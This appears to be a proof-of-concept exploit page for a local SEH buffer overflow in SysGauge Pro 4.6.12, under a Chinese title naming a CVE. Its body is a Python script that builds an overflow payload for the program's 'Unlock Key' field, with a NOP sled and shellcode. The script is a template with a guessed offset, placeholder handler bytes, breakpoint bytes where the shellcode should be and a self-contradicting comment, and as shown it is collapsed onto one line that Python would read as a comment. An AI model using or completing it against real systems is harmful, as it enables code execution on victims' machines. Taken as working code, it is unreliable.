CVE-2018-25307 SysGauge Pro本地缓冲区溢出漏洞

import sys # Vulnerable Software: SysGauge Pro 4.6.12 # Vulnerability: Local Buffer Overflow in Register Function (SEH) # Payload generation for PoC def generate_poc(): # Offset to overwrite SEH handler (Example offset, may need debugging) offset = 0x00001000 # overwrite Next SEH (pop pop ret sequence adjustment) next_seh = b"\xeb\x06\x90\x90" # overwrite SEH Handler (Address of pop pop ret instruction) # Note: Address depends on OS version and application modules (non-ASLR) seh_handler = b"\x10\x11\x12\x13" # NOP sled nop_sled = b"\x90" * 32 # Calc Shellcode (Example: MessageBoxA) # Replace with actual shellcode for execution shellcode = b"\xcc\xcc\xcc\xcc" # Construct payload payload = b"A" * offset + next_seh + seh_handler + nop_sled + shellcode # Fill remaining buffer space if necessary payload += b"C" * (5000 - len(payload)) return payload if __name__ == "__main__": buf = generate_poc() print(f"[+] PoC Generated. Length: {len(buf)}") print(f"[+] Payload: {buf}") # In a real scenario, this payload would be sent to the 'Unlock Key' input field.